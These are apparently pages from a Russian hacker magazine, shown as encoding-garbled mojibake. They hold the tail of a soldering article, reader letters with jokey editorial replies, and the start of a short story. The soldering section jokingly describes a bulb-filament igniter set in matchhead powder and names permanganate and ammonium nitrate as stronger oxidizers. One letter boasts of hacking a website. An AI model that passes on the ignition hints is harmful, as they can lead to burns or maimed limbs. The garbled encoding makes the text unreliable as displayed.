÷åê è âêðó÷èâàòü íîâûå ïî ìåðå èõ
âûõîäà èç ñòðîÿ.

Âûáîð äåòàëåé íåêðèòè÷åí. Â ñëó-
÷àå èñïîëüçîâàíèÿ äðóãèõ îïòîðåëå
èç 293-é ñåðèè íåîáõîäèìî óòî÷-
íèòü èõ "ïîíîæîâùèíó", èëè, êàê
åùå ãîâîðÿò, ðàñïèíîâêó � çíà÷å-
íèå êàæäîãî êîíòàêòà.

Ðåçèñòîð æåëàòåëüíî ìàëîãàáà-
ðèòíûé � 0,125; 0,25 Âò. Çíà÷åíèå
ñîïðîòèâëåíèÿ òîæå íåêðèòè÷íî: îò
1 êÎì äî 5 êÎì. Îò ðåçèñòîðà çàâè-
ñèò òîëüêî ÿðêîñòü ñâå÷åíèÿ ñâåòî-
äèîäà è âðåìÿ æèçíè áàòàðåéêè.

Ïàÿëüíèê â ðóêè è çà äåëî!

"ÂÎËØÅÁÍÀß" ËÀÌÏÎ×ÊÀ
Òîëüêî ÿ òåáÿ óìîëÿþ: íå ïîñòó-

ïàé, êàê ñäåëàëè ïåðöû èç ãðóïïè-
ðîâêè "Ðîãà è Êîïûòà", êîãäà îíè
àêêóðàòíî ðàñêîëîëè ñòåêëÿííóþ
êîëáó ëàìïî÷êè, ïîãðóçèëè ñïèðàëü
íàêàëèâàíèÿ â òîë÷åííûå ñïè÷å÷-
íûå ãîëîâêè, ïîòîì çàëîæèëè âñå
ýòî â õëîïóøêó òàêîé ìîùíîñòè, ÷òî
èì îòîðâàëî êîíå÷íîñòè. È íèêàêîé
òàéìåð íå ïîìîã. Âîò ýòî õëîïíóëî!!! 

Îíè èñïîëüçîâàëè ïîõîæóþ ñõåìó
äëÿ ïîäæîãà ñâîåé õèìèè. 

"Êàêîé åùå õèìèè?" - ñïðîñèøü òû. 
Õî÷åòñÿ îòâåòèòü "RTFM èëè ÷èòàé

ó÷åáíèêè", åñëè íå äîâåëîñü
ñäåëàòü ýòî åùå íà øêîëüíîé
ñêàìüå ;-). Åùå â ó÷åáíèêàõ õèìèè
ïðèâîäèòñÿ êðàñî÷íûé ýêñïåðèìåíò
ïî ãîðåíèþ ìàãíèÿ, à åñëè ôîð-
ìàëüíî: ïî îêèñëåíèþ ìàãíèÿ êèñ-
ëîðîäîì âîçäóõà. Òàêæå èçâåñòíî,
÷òî îêèñëèòåëåì íàìíîãî àêòèâíåå
êèñëîðîäà ìîæåò áûòü êàëèÿ ïåð-
ìàíãàíàò èëè àììèà÷íàÿ ñåëèòðà, òî
åñòü îáû÷íàÿ ñóõàÿ ìàðãàíöîâêà èç
àïòåêè èëè óäîáðåíèå èç õîçÿé-
ñòâåííîãî ìàãàçèíà - â îáùåì, äåð-
çàé, ó òåáÿ îãðîìíûé ïðîñòîð äëÿ
òâîð÷åñòâà, ïðè÷åì íå òîëüêî òåõ-
íè÷åñêîãî! Õîòÿ, ÷òî-òî ÿ ÷åðåñ÷óð
óâëåêñÿ, âåðíî?

Âåäü âñå ýòî óæå äàëåêî îò ðóáðè-
êè "Ïàÿëüíèêà", òàê ÷òî RTFM èëè
÷èòàé ó÷åáíèêè, è äà ïðåáóäåò ñ òî-
áîé Âåëèêàÿ Ñèëà, è äà ïîìîæåò îíà
òåáå â âå÷íîé áîðüáå ñî Çëîì!  E

"Áóäèëüíèê" âçâåäåí íà 10:05

Ñõåìà â ñáîðå

È íèêàêîé òàéìåð íå ïîìîã. 
Âîò ýòî õëîïíóëî!!!

ÂÍÈÌÀÍÈÅ!
ÂÑß ÈÍÔÎÐÌÀÖÈß ÝÒÎÉ
ÑÒÀÒÜÈ ÏÐÅÄÎÑÒÀÂËßÅÒÑß
ÒÎËÜÊÎ ÄËß ÎÇÍÀÊÎÌÈ-
ÒÅËÜÍÛÕ ÖÅËÅÉ. ÇÀ ËÞ-
ÁÎÅ ÈÑÏÎËÜÇÎÂÀÍÈÅ ÅÅ Â
ÏÐÎÒÈÂÎÏÐÀÂÍÛÕ ÖÅËßÕ
ÐÅÄÀÊÖÈß ÎÒÂÅÒÑÒÂÅÍ-

ÍÎÑÒÈ ÍÅ ÍÅÑÅÒ!
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ÎÒ: ÀËÅÊÑÀÍÄÐ ÏÀÑßÄÀ
[OBL_GAZ@BK.RU]

Åñëè áóäåòå ïóáëèêîâàòü, òî óæ ýòî òî÷íî íå
íóæíî:

1) Âèäíî, íå ëþáèò âàøà ïî÷òà ßíäåêñ.
Ïèñüìî âîçâðàùàëî íàçàä, òàê ÷òî ÿ ïî îøèáêå

îòïðàâèë åãî Dr.Klouniz'ó. 
2) Dr.Klouniz! Îñòîðîæíåå ñ êëþêâåííîé íàñòîéêîé ;)!
---
Çäîðîâåíüêè, òîâàðèùè!
Â íîìåð î âèäåî ïðîñî÷èëîñü ñåðüåçíîå çàáëóæ-

äåíèå, êîòîðîå áûëî âèäíî äàæå ñ îðáèòû è âûçâàëî
òàì æèâîé èíòåðåñ.

Äðóæèùå Modificator â ðóáðèêå FAQ ïèñàë: "Â Ðîñ-
ñèè èñïîëüçóåòñÿ ñòàíäàðò âèäåîäàííûõ PAL. Â íåì è
ïðîèçâîäè ìîíòàæíûå ðàáîòû" ;(. Â Ðîññèè èñïîëü-
çóåòñÿ ÑÅÊÀÌ òèïà D (èëè, ÷òî òî æå ñàìîå, K). Çàá-
ëóæäàòüñÿ òàê ñåðüåçíî ìîæíî ðàçâå ÷òî ïåðåïóòàâ
ïðîñòî ÑÅÊÀÌ ñ ñèñòåìîé ÌÅÑÅÊÀÌ, êîòîðàÿ êàê ðàç
èñïîëüçóåòñÿ íà Áëèæíåì Âîñòîêå è â Ñåâåðíîé Àô-
ðèêå. MESECAM èëè SECAM-H, SECAM/Horisontal (Hold) -
ÑÅÊÀÌ/H ñ ñèíõðîíèçàöèåé öâåòà ïî ñòðîêàì.

ß íà íåãî òîæå îäèí ðàç ïîïàë, ïðîèãðàë ïîëó÷èâ-
øååñÿ íà âèäèêå - âñÿ öâåòíîñòü çàôàðøìà÷èëàñü.
Ïîíÿòíî, ÷òî ÏÀË ëó÷øå ñîâìåñòèì ñ ÑÅÊÀÌîì, ÷åì
NTSC, âîò Modifikator è çàâîäèò ðàêà çà êàìåíü. (À
ìîæåò, ýòî êîâàðíûå ïðîèñêè áóðæóèíîâ, êîòîðûå,
ïðîïàãàíäèðóÿ ñâîè ñòàíäàðòû, çàêîíñïèðèðîâàëè
ÌÅÑÅÊÀÌ ïîä ÑÅÊÀÌ, à Modifikator íàðâàëñÿ íà ïîä-
ìåíó). Íî êîãäà íåò ÑÅÊÀÌà â îáîðóäîâàíèè, ïðèõî-
äèòñÿ ðàáîòàòü ñ ÏÀËîì.

À òåïåðü òî, ÷òî ñ îðáèòû íå áûëî çàìå÷åíî. Ñëîâî
"òåðèÿ" íà îáëîæêå, óâåðåí, ïîíÿë êàæäûé. Íî â
ñëåäóþùèé ðàç âû òàì ñìîòðèòå â îáà. Óñïåõà âàì â
êàæäîì äåëå!

ÎÒÂÅÒ:
Ñåêàì-ìåñåêàì, ïàâëèí-ìàâëèí... Ñ âàìè

áåç êëþêâåííîé íàñòîéêè íå ðàçáåðåøüñÿ,
òîâàðèù. À ãîâîðèøü, "íå óïîòðåáëÿé" :(.
Ïðÿìî ñêàæåì, òâîå ñîîáùåíèå ÿ íå îñèëèë
öåëèêîì. Âåðíåå, îñèëèë, íî ïî äèàãîíàëè, è
ïîíÿë èç íåãî, ÷òî â ÷åì-òî ìû íàêîñÿ÷èëè,
ïðè÷åì, ñàìîå ãëàâíîå, ÿ òóò íè ïðè ÷åì :).
Ýòî Àíäðþøèí àâòîð, âèäèìî, èçðûãíóë äàí-
íûé ïåðë. Íî íå áåäà: Àíäðþøà äî íåãî äî-
áåðåòñÿ. Îí ïðîíèêíåò òóäà, ãäå îí áåççàùè-
òåí � â åãî ñíû. Ðàç. Äâà. Àíäðþøà çàáåðåò
òåáÿ :(.
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ÎÒ: DEVID [KOLYAN_KOC@MAIL.RU]
ÒÅÌÀ: ÏÐÈÂÀ ÂÀÌ ÕÀÖÊÅÐÛ...

Çäîðîâåíüêè áóëëû, õàêåðû... Îãðîìíûé âàì ÐÅÑÏÅÊÒ çà âàø æóðíàë... Îí ïðîñòî
Êóëüíûé... Ìîæíî åãî íàçâàòü áèáëèåé íà÷èíàþùèõ õöêåðåíûøåé... Êîðî÷å, íå

áóäó âàñ ðàñõâàëèâàòü, âàì è òàê êàæäûé äåíü òàêèå ïèñüìà Ãèãàìè, íàâåðíî, ïðèõîäÿò... 
Èòàê... Íåäàâíî ÿ ëàçèë ïî íåòó â ïîèñêå...))) ñìåøíî ñêàçàòü ÷åãî... Ñàéòà ñ óñòà-

íîâëåííûì COSMO-CHATîì, ñ öåëüþ ïîèìåòü ýòîò ñàìûé ñàéò...))). Ïðîñòî õîòåë ïðî-
âåðèòü ñïîñîá âçëîìà... Â îáùåì, ÿ íàáðåë íà ñàéò íåêîãî MrMihona. È ÷òî æå ÿ óâè-
äåë â åãî ãîñòåâîé êíèãå? ß óâèäåë, ÷òî ýòîò ëàìåð ïûòàåòñÿ ïèñàòü ëàæîâûå ñòàòüè
ïðî õàê, ñ êåì-òî öàïàòüñÿ, ðàññûëàòü íàèäðåâíåéøèå òðîÿíû ïî ìûëüíèöàì ïîëü-
çîâàòåëåé è ïðèêðûâàòüñÿ âî âñåì ýòîì... ÂÀÌÈ!!! ß ÷óòü â îñàäîê íå âûïàë, êîãäà
ýòî óâèäåë... ñàéòû åãî www.flai.h14.ru and www.flai.nm.ru. Òàê ÷òî ÿ õîòåë ñïðîñèòü-
òî?.. Äåéñòâèòåëüíî ëè âû ÿâëÿåòåñü êðûøîé ýòîãî ëàìåðà, åñëè äà, òî ïî÷åìó???

Åãî ñàéò ÿ, êîíå÷íî, ïîèìåë... íî âñå æå îòâåòüòå íà âîïðîñ...

ÎÒÂÅÒ:
Ñïàñèáî, òû òðîíóë ìîå çàäóáåâøåå ñåðäöå ñâîèì äîáðûì ñëîâîì!

Íåò, äðóã ìîé, ëàìåðîâ ìû íå êðûøóåì, äîëãè íå âîçâðàùàåì è íå
âñòðàèâàåì â ñ÷åò÷èê òàêèå ïðîâîëî÷êè, èç-çà êîòîðûõ îí ïîòîì íà-
÷èíàåò êðóòèòüñÿ â ïðîòèâîïîëîæíóþ ñòîðîíó è ýíåðãåòèêè îêàçûâà-
þòñÿ âàì äîëæíû. Òàê ÷òî çà î÷èùåíèå ìèðà îò ñìðàäíîãî äóõà ëàìå-
ðñòâà ìû âûðàæàåì òåáå ðåñïåêò. ×èòàé íàø æóðíàë è ïîçíàé Äàî.

»

Dr.Klouniz (Powered by Aqua menstruale)

Å-ÌÛËÎ
(spec@real.xakep.ru)

E-MAILCREW116

»

ÎÒ: NAXTAXNIYEZZI [NAXTAXNIYEZZI@NAROD.RU]
ÒÅÌÀ: ÂÎÏÐÎÑ ÏÎ ÀÍÊÅÒÅ

Çäðàâñòâóéòå, ñîòðóäíèêè æóðíàëà xakepspec.
Ó ìåíÿ âîïðîñ ïî àíêåòå, êîòîðóþ Âû ïðåäëàãàåòå â æóðíàëå çà ìàé.

Ðàññêàæèòå, ïîæàëóéñòà, ïîäðîáíåå, ÷òî çíà÷èò òðåáîâàíèå "áûòü â îíëàéíå",
íàñêîëüêî àêòèâíî äîëæíî áûòü ó÷àñòèå â òåñò-ãðóïïå, ÷òîáû îíî áûëî çàñ÷èòàíî
êàê ïîñòîÿííîå è âîçíàãðàæäåíî áåñïëàòíîé ïîäïèñêîé, è, ñàìîå ãëàâíîå, íà ñêîëü-
êî ìåñÿöåâ ðàññ÷èòàíà ýòà áåñïëàòíàÿ ïîäïèñêà?

ß ãîòîâ ïîó÷àñòâîâàòü, íî íå õî÷ó âïóñòóþ òåðÿòü âðåìÿ è æåëàþ ÷åòêî çíàòü, çà
÷òî ÿ áóäó ñòàðàòüñÿ :).

ÎÒÂÅÒ:
Òåñò-ãðóïïà � ýòî çàíÿòèå äëÿ íàñòîÿùèõ, íå ïîáîþñü ýòîãî ñëîâà,

ìóæèêîâ. "Áûòü â îíëàéíå" - ýòî åùå íå âñå. Äëÿ òîãî ÷òîáû "áûòü â
îíëàéíå", íóæíî ýëåêòðè÷åñòâî. Ïîýòîìó òåñò-ãðóïïà ó íàñ ïîäåëåíà
íà äâå ÷àñòè, êîòîðûå ðîòèðóþòñÿ ìåæäó äâóìÿ ÷àñòÿìè ðåäàêöèè �
ýíåðãîïîäâàëîì è ìîçãîâûñàñûâàòåëüíûì öåíòðîì. Â ýíåðãîïîäâàëå
ñòîèò îðèãèíàëüíàÿ äèíàìî-ìàøèíà, âîññîçäàííàÿ ïî çàáûòûì ÷åð-
òåæàì (äà, îí âñå æå îñòàâèë ÷åðòåæè) Íèêîëî Òåñëû, à â ìîçãîâûñà-
ñûâàòåëüíîì öåíòðå � Âåëèêèå Ìàøèíû, ñîçäàííûå ñ èñïîëüçîâàíè-
åì òåõíîëîãèé ïðèøåëüöåâ. Ñ ïîìîùüþ ýòèõ ÷óäî-êîëïàêîâ ìû âûñà-
ñûâàåì èç ìîçãà òåñòèðóåìûõ ÷èòàòåëåé âñå èõ ñàìûå òåìíûå è çëûå
æåëàíèÿ, êîòîðûå ïîòîì ðåàëèçóåì â íàøåì æóðíàëå. Êîíå÷íî, â
ýòîò ìîìåíò âòîðàÿ ãðóïïà òåñòåðîâ òðóäèòñÿ â ïîäâàëå è âðàùàåò
ãèãàíòñêèé ðîòîð äèíàìî-ìàøèíû Òåñëà, âûðàáàòûâàÿ ïî 3 ìëí.
ÊÂò/÷. Âîò, âêðàòöå, è âåñü ñåêðåò íàøåé òåñò-ãðóïïû.

»
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ÎÒ: SAUNDERS 
[AGAPIIY@LEGISLATOR.COM]
ÒÅÌÀ: ÄËß ÒÅÁß :)

Äâå äåâóøêè ñòóäåíòêè ïåðâîãî
êóðñà Èíñòèòóòà êóëüòóðû è èñ-

êóññòâ. Ãîñïîäà áèçíåñìåíû, îêàæèòå ïî-
ñèëüíóþ ïîìîùü â îïëàòå íàøåãî îáó÷å-
íèÿ. Íàì ïðîñòî íå õâàòàåò íàñòîÿùåé
ìóæñêîé ïîääåðæêè. Íè ìóæà, íè äðóãà,
òîëüêî îãðîìíûé ãîðîä âîêðóã ñ îïàñíîñ-
òÿìè, ïîäñòåðåãàþùèìè ìàëåíüêèõ êèñîê
íà êàæäîì øàãó. Âîò òàê îò ìàìû óõîäèòü.

Íîðìàëüíûõ ìóæ÷èí âîêðóã - ìåíåå 2%,
îñòàëüíûå æìîòû, óðîäû è ãîëóáûå. Âîò
ìû ðåøèëè íàéòè ìóæ÷èí ñâîåé ìå÷òû ÷å-
ðåç èíòåðíåò. Íå îñóæäàéòå íàñ çà ýòî, ýòî
îò áåñïðîñâåòíîñòè. À ìû òàêèå õîðîøèå.
Íó âîò, ê ïðèìåðó, ÿ � Îëüãà, 22 ãîäà ìíå,
õîòü î âîçðàñòå ëó÷øå è ìîë÷àòü, çàòî
ðîñò 172, ñòðîéíàÿ (42-44), çàãîðåëàÿ äî
áðîíçîâîãî öâåòà øàòåíêà ñ áåëîñíåæíû-
ìè çóáàìè è óëûáêîé ìàäîííû. Î, êàê
Âàì? Ó ìåíÿ âåñåëûé íðàâ, ÿ íåíàâèæó õà-
ìîâ, Õàáàëîâ è æìîòîâ, çàòî ëþáëþ ïîëíî-
öåííîå îáùåíèå, ãëàâíîå, ÷òîáû ìóæ÷èíà
áûë íàñòîÿùèé... È ìîÿ ïîäðóãà Êñþøà, ìû
ñ íåé ðàçíûå è ïðèòÿãèâàåìñÿ, êàê ðàçíûå
ïîëþñà ìàãíèòîâ. Îíà ëþáèò â îòðûâ óõî-
äèòü ñ ïîãðóæåíèåì, êàê âîäîëàç, íî ìû
äðóã äðóãà ëþáèì. Òîëüêî âîò ôèíàíñîâî
íàì íèêòî íå ïîìîãàåò, à æèòü ñåé÷àñ òàê
íåïðîñòî. 

Åñëè òû õîðîøèé ïàðåíü, íå òàê óæ ñêóï
è íå äóðàê... À ìîæåò, âïðÿìü? Îêñàíà.

ÎÒÂÅÒ:
Ýòî æå íàäî! Îäíè, ïåðååõàëè â

áîëüøîé ãîðîä, áåç ìóæà (õîòÿ áû
îäíîãî íà äâîèõ), à êðóãîì � æìî-
òû, ãîëóáûå, óðîäû, àëêîãîëèêè è
òóíåÿäöû. È çà÷åì, çà÷åì òàêèå
æåðòâû? Ðàäè ó÷åáû â Èíñòèòóòå
êóëüòóðû. Êñòàòè íàñ÷åò ãîëóáûõ.
Â ýòîé ôðàçå ÿ âèæó ïîïûòêó
äèñêðèìèíèðîâàòü ëþäåé ñ íåòðà-
äèöèîííîé îðèåíòàöèåé, ÷òî, åñëè
ó÷åñòü âàøó æå ôðàçó "íî ìû äðóã
äðóãà ëþáèì", âûãëÿäèò íåñêîëüêî
ïàðàäîêñàëüíî. Òàê âîò, ìèëûå äà-
ìû. Åñëè ó âàñ ëþáîâü � òóò íè÷åãî
íå ïîäåëàåøü. Äåíüãè � îíè âåäü
òîëüêî óáèâàþò ëþáîâü, ïîýòîìó
ëó÷øå âàì æèòü â îáùàãå íà ñòè-
ïåíäèþ, êóøàòü ëàïøó äîøèÐàê
(ÄîøèÃàñòðèò è äîøèßçâó), ó÷èòü-
ñÿ â Èíñòèòóòå êóëüòóðû è ïîëó-
÷àòü òàì ñâîå ñîìíèòåëüíîå îáðà-
çîâàíèå. À åñëè âàì âñå æå çàõî-
÷åòñÿ ñëåãêà ïîïðàâèòü îðèåíòà-
öèþ, äîáðî ïîæàëîâàòü! Ó íàñ åñòü
Sky. Äëÿ ëþáèòåëåé (ëþáèòåëüíèö,
õîòÿ, ñóäÿ ïî ôðàçå "ãëàâíîå, ÷òî-
áû ìóæ÷èíà áûë íàñòîÿùèé", âû ê
íèì íå îòíîñèòåñü) åñòü åùå Sky
ïëàñòèêîâûé, æåëåçíûé, íàäóâíîé.
Çàîäíî ïðîâåðèòå ñâîè ñèëû: êàê
ãîâîðèòñÿ, íå áûâàåò íåôóíêöèî-
íàëüíîãî íàäóâíîãî Sky'ÿ - áûâàþò
ñëàáûå ëåãêèå.

»

ÎÒ: OT JOYA [D.J.JOY@MAIL.RU]
ÒÅÌÀ: PREDLOJENIE

Çäðàâñòâóéòå, "õàêåðþãè". Ó ìåíÿ âîïðîñ è ïðåäëîæåíèå. Íåêîòîðûå ïðîãè èç ïðå-
äîñòàâëåííûõ íà äèñêàõ ÿêîáû õàëÿâíûå, íî íà ñàìîì äåëå ïðîñòî ñ îöåíî÷íûì ïå-

ðèîäîì, ïî îêîí÷àíèè êîòîðîãî ñîôòèíà òðåáóåò çàïëàòèòü N-íîå êîë-âî. Òàê âîò ÿ ïðî ÷òî:
ïî÷åìó áû âàì âìåñòå ñ ýòèì ñîôòîì íå âûêëàäûâàòü è êðýêè ê íèì, à òî, ÿ äóìàþ, íå âñå òà-
êèå óìíûå, ÷òîáû ïèñàòü ñàìèì êðÿêè. Çàðàíåå áëàãîäàðåí. JOY.

ÎÒÂÅÒ:
Ïðèâåò òåáå, î Ïåðâûé Ïàðåíü íà Äåðåâíå. Ïîçäðàâëÿþ òåáÿ: òû � ñòîòû-

ñÿ÷íûé êðåàòèâùèê, êîòîðûé âûäâèíóë äàííîå ïðåäëîæåíèå. ß óæå óñòàë
ïëàêàòü íàä ýòèìè ïðåäëîæåíèÿìè - ìíå óæå íå õâàòàåò ñëåç, è ãëàçà ìîè
êðàñíû :(. Â îáùåì, ïîäóìàé íà äîñóãå îá îñîáåííîñòÿõ îïëàòû òðóäà è ïî-
÷èòàé Àäàìà Ñìèòà è Êàðëà Ìàðêñà.

»

ÎÒ: GEORGII_K [GEORGII_K@MAIL.RU]
ÒÅÌÀ: ÑÏÅÖ ¹5!!!

ß Âàø ÷èòàòåëü ñ 2002 ãîäà, à ïèøó âïåðâûå.
Õî÷ó âûðàçèòü áîëüøóþ áëàãîäàðíîñòü çà ìàéñêèé íîìåð ïî öèôðîâîìó âèäåî! Ó

ìåíÿ åñòü îãðîìíîå æåëàíèå äåëàòü êëèïû ïî èãðàì (íàðåçêè) ïîä ìóçûêó è ñ ýôôåêòàìè. Íî
áàíàëüíî íå õâàòàëî òåîðåòè÷åñêèõ çíàíèé. Ïîñëåäíèé íîìåð "ÑÏÅÖ" äàë ìíå ýòî. ß óìåë ðå-
äàêòèðîâàòü âèäåî â PINNACLE (õîðîøåé ïðîãè è ïðîñòîé, åñëè âèäåî çàõâà÷åíî åé ñàìîé), íî
Adobe Premiere è îñîáåííî VirtualDub âñåëÿëè â ìåíÿ ñâÿùåííûé óæàñ. Íåçíàíèå è ñòðàõ òå-
ïåðü ïîçàäè, à æåëàíèå òåïåðü ïîäêðåïëåíî çíàíèÿìè. Ïåðâûé ìîé êëèï - ïî èãðå "The
Chronicles of Riddick - EFBB" - ãîòîâ (èãðà î÷åíü çàöåïèëà: ñèëüíî è ñòèëüíî, êàê è ôèëüìû).

ß äàâíî ÷èòàþ Âàøè æóðíàëû, íî ÿ äàëåêî íå õàêåð, è â íåêîòîðûõ òåìàõ, êîòîðûì ïîñâÿùå-
íû öåëûå íîìåðà, ÿ íè ÷åðòà íå ïîíèìàþ. Íî ÿ èõ ïîêóïàþ. Ïî÷åìó? Ñåáÿ ÿ õàðàêòåðèçóþ êàê
ïðîäâèíóòîãî ïîëüçîâàòåëÿ, è åñëè òåìó ÿ íå çíàþ, òî ýòî íå çíà÷èò, ÷òî îíà ìíå íå ïîíàäîáèò-
ñÿ â ñêîðîì áóäóùåì. ß ïðîäâèãàþñü ïîñëåäîâàòåëüíî. À â æèçíè äàæå ñàìûå ñêðîìíûå ïîçíà-
íèÿ â íåçíàêîìîì âîïðîñå î÷åíü ïîìîãóò íå óòîíóòü â ìîðå èíôîðìàöèè, IT-òåõíîëîãèé, etc.

ÕÀÊÅÐ - ýòî îáðàç æèçíè.
È â ýòîì ïëàíå ìîÿ áèáëèîòåêà èç ìíîãèõ ãîäîâûõ ïîäïèñîê íîìåðîâ "XAKEP", "ÑÏÅÖ" è "ÆÅËÅÇÎ"

ÁÅÑÖÅÍÍÀ! À öèôðîâîå âèäåî ÿ ïðîñòî ëþáëþ, ýòî äëÿ äóøè. Èëè íå äàåò ñïàòü ñëàâà î.ó.Goblina?
Ñïàñèáî Âàì çà îòëè÷íûå æóðíàëû! Âû ïðàâèëüíî äåëàåòå ñâîå äåëî! ÆÅËÀÞ ÂÀÌ ÓÑÏÅÕÎÂ!
Ñ Óâàæåíèåì - Ãåîðãèé Þ. Êîçëîâ.
aka BretonGEORG, 37ëåò, ÑÏá.

ÎÒÂÅÒ:
Òû êðóò, ìóæèê! Âîò êîãäà ÿ ÷èòàþ òàêèå ïèñüìà, íà ìîåì ëèöå âûñûõàþò

ñëåçû, êîòîðûå ÿ óæå èçëèë ïî ïîâîäó ïèñåì â äóõå "ïî÷åìó êðÿêîâ íåò íà
äèñêå, ÷òî çà ìîäà ïîøëà � ïðîãè áåç êðÿêîâ ïîñòàâëÿòü, ðàñïîÿñàëèñü, àãà?".
Î÷åíü áîäðÿò íàñ òàêèå ïèñüìà. Ïîýòîìó åñòü ó ìåíÿ òàêîå ïðåäëîæåíèå. Òî-
âàðèù! ×èòàòåëü! Åñëè Ñïåö ñïîäâèãíóë òåáÿ íà êàêèå-òî äîñòèæåíèÿ â îáëàñ-
òè âèäåî, ïðîãðàììèíãà, çâóêà è ïðî÷èõ êîìïüþòåðíûõ äåë, ïðèñûëàé íàì
ñâîé øåäåâð ñ îïèñàíèåì, ìû ïîñòàðàåìñÿ âûëîæèòü åãî íà íàø äèñê, ÷òîáû
ïðîñòèìóëèðîâàòü íàðîä íà àíàëîãè÷íûå ñâåðøåíèÿ :).

»

ÎÒ: ÐÎÌÀÍ ÑÎËÎØÅÍÊÎ [SARMAT83@YANDEX.RU]
ÒÅÌÀ: ÇÀÏÈÑÛÂÀÒÜ DVD ÍÀ CD-RW ÏÐÈÂÎÄÅ.

Ïîëó÷èë â ïîäàðîê ìàéñêèé íîìåð Âàøåãî æóðíàëà ("Õàêåð"). Ïî ÷àñòè öèôðîâî-
ãî âèäåî î÷åíü ïîíðàâèëñÿ, íî âîò åùå çàèíòåðåñîâàëà ñëåäóþùàÿ ôðàçà èç ðóá-

ðèêè "å-ìûëî": "...Ïðîñèòå ó Sky'ÿ "êðÿêåð èíòåðíåòà", îí ïîìîæåò çàïèñàòü ëþáîé DVD íà
ëþáîì CD-ïðèâîäå..." Õîòåëîñü áû ïîëó÷èòü ïîÿñíåíèÿ ïî ýòîìó âîïðîñó. Ýòî ÷òî-òî èç îá-
ëàñòè òîíêîãî òåõíè÷åñêîãî þìîðà? ß íå îñîáî ðàçáèðàþñü â ýòîì, íî ðàçëè÷èé ìåæäó CD è
DVD, êðîìå êàê â òîëùèíå äîðîæêè è, êàê ñëåäñòâèå, îáúåìå èíôîðìàöèè, ÿ íå âèæó. Òàì è
òàì, íàñêîëüêî ìíå èçâåñòíî, ïðèìåíÿþòñÿ ãîëóáûå ëàçåðû. Ïåðåïèñàòü äðàéâåð óñòðîéñòâà -
ýòî òîæå íå èç îáëàñòè ôàíòàñòèêè. Ïðîøó îòâåòèòü ïîòî÷íåå: "äà, âîçìîæíî" (è óêàæèòå
êîíêðåòíûé ñïîñîá) èëè "íåò, íåëüçÿ" (è óêàæèòå êîíêðåòíûå ôèçè÷åñêèå îãðàíè÷åíèÿ).

Çàðàíåå ñïàñèáî.

ÎÒÂÅÒ:
Íåò, ÷òî òû, êàêîé þìîð? Ðàçâå ÿ ïîõîæ íà øóòíèêà? Ýõ, ñêîëüêî ìû äðàéâå-

ðîâ ïåðåïðîøèëè íàøèìè êðÿêåðàìè, ñêîëüêî óãëåðîäíûõ ëàçåðîâ ñìåíèëè íà
ðóáèäèåâûå èëè ãåëèé-íåîííûå (ëåãêî äåëàåòñÿ ïðîãðàììíî, êñòàòè) � íå ïåðå-
ñ÷èòàòü. Èç òàêèõ êîìïüþòåðîâ ìû äåëàåì çîìáè, â êà÷åñòâå êîìïåíñàöèè îáúå-
äèíÿåì èõ â áîëüøèå òàêèå êîììüþíèòè � áîòíåòû íàçûâàþòñÿ. Åñëè è òû õî-
÷åøü âñòóïèòü â ïîäîáíîå îáùåñòâî íà äîáðîâîëüíûõ íà÷àëàõ, áîëüøå ñëó-
øàé ëþäåé, îáåùàþùèõ òåáå õàëÿâíûé èíòåðíåò è ïåðåïðîøèâêó CD â DVD.

(À åñëè ñåðüåçíî, òî çàïèñàòü ÷òî-ëèáî íà CD-ïðèâîäå, íå CD-ðåêîðäåðå,
íåâîçìîæíî by definition - ïðèì. Sky.)

»



ðèñ. Êîíñòàíòèí Êîìàðäèí

ÆÈÇÍÜ
ÏÐÅÊÐÀÑÍÀ

Niro (niro@real.xakep.ru)



"Ñîâåðøåííî ñåêðåòíî.
Â åäèíñòâåííîì ýêçåìïëÿ-
ðå. Ïîñëå ïðî÷òåíèÿ óíè÷-
òîæèòü.

Ïðîâåäåíèå àêöèè
"Æèçíü ïðåêðàñíà", íàç-
íà÷åííîé íà 14 àâãóñòà
200... ãîäà, ïåðåíîøó íà
17 àâãóñòà è ñàíêöèîíè-
ðóþ. Ëè÷íîñòü ïîäâåðãàå-
ìîãî âîçäåéñòâèþ óñòà-
íîâëåíà, ïðîâåðåíà, âñå

äàííûå ïñèõîàíàëèçà ïîäòâåðæäåíû. Èíôîðìàöèþ, íåîáõî-
äèìóþ äëÿ ïðîâåäåíèÿ àêöèè, ïðåäîñòàâèòü ãðóïïå ïðèêðû-
òèÿ çà 24 ÷àñà äî íà÷àëà àêöèè, âçÿòü ïîäïèñêó î íåðàçãëà-
øåíèè. Â ñëó÷àå íåàäåêâàòíîãî ïîâåäåíèÿ îáúåêòà è íåêîíò-
ðîëèðóåìîãî ðàçâèòèÿ ñèòóàöèè äåéñòâîâàòü ïî èíñòðóêöèè
"Ëåìóð". Î âûïîëíåíèè äîëîæèòü ëè÷íî.

Áåç ïîäïèñè".

*   **   **   **   **
Íà÷íåì ñ òîãî, ÷òî Áðàéàí áûë ÷åñòíûì ÷åëîâåêîì. Íàñ-

òîëüêî ÷åñòíûì, íàñêîëüêî ïîçâîëÿëî è îäîáðÿëî îêðóæàþ-
ùåå îáùåñòâî. Îí íè ðàçó íå áûë ñóäèì, íå ñîâåðøàë ïðîòè-
âîïðàâíûõ ïîñòóïêîâ, îïëà÷èâàë ñ÷åòà çà ïàðêîâêó, âîâðåìÿ
âíîñèë ïðîöåíòû êðåäèòà çà äîì, ãîâîðèë ïðàâäó â ãëàçà ñâî-
åìó áîññó è âñåì ïîä÷èíåííûì, ïåðèîäè÷åñêè ñîòðóäíè÷àë ñ
ïîëèöèåé (îñîáåííî åñëè ýòî êàñàëîñü ïðîáëåì, ñâÿçàííûõ ñ
òåððîðèçìîì èëè ñ íàðêîòèêàìè). Îáðàçåö äëÿ ïîäðàæàíèÿ,
ýòàêàÿ àìåðèêàíñêàÿ ìå÷òà ñ òî÷êè çðåíèÿ ïðàâîñóäèÿ.

Îí áûë ÷åñòíûì, ÷óâñòâîâàë ýòî, ïîíèìàë è áûë äîâîëåí
ñâîèì îáðàçîì æèçíè. Îí, êîíå÷íî, íå âîçâîäèë âñå ýòî íà
óðîâåíü êóëüòà, ìîã è ïðèâðàòü äëÿ êðàñíîãî ñëîâöà, íî â
ìåðó � ðîâíî íàñòîëüêî, íàñêîëüêî ïîçâîëÿëà ñèòóàöèÿ. Áó-
äó÷è ñòðàñòíûì ëþáèòåëåì ðûáàëêè (â äåòñòâå åãî ïðèó÷èë ê
óäî÷êå îòåö, Áðàéàí îñòàëñÿ áëàãîäàðåí åìó íà âñþ æèçíü),
